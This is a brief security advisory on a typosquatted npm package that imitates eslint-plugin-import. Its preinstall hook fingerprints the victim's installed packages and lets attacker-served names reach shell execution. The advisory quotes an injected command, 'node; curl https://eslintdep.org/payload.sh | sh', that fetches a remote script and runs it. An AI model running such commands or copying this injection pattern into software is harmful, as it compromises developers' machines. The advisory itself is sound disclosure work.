GCVE-110-OSM-2026-1756

Typosquats eslint-plugin-import (41M weekly downloads). Preinstall hook contacts attacker-controlled eslintdep.org to fingerprint the victim's installed packages via brew/dpkg/winget. The shellEscape function permits shell metacharacters, enabling RCE delivery via a crafted required.json response without any npm republish. Trigger (preinstall): executes node ./lib/preinstall.js at install time. The script GETs https://eslintdep.org/packages/eslint-import-sanity/required.json — an attacker-controlled domain with no relationship to the ESLint ecosystem — and receives a JSON object mapping OS platforms to lists of package names. For each name, it runs exec('brew list <name>') on macOS, exec('dpkg-query -W <name>') on Linux, or exec('winget list --id <name>') on Windows. The shellEscape() function validates names against a permissive regex that explicitly permits shell metacharacters (|, ;, >, &), returning the string unchanged. Any attacker-crafted entry in the required.json response — e.g. 'node; curl https://eslintdep.org/payload.sh | sh' — executes as a shell command on the victim machine. The attacker can deliver RCE to all confirmed victims at any time by updating required.json server-side without republishing to npm. Current live payload (SHA256 dd2283b770f22350122c3e9162e088fee13edb483f36f6962ecc83a80fb423d3): {"darwin":["node"],"linux":["build-essential","node-gyp"]}, targeting Node.js developers on macOS and Linux.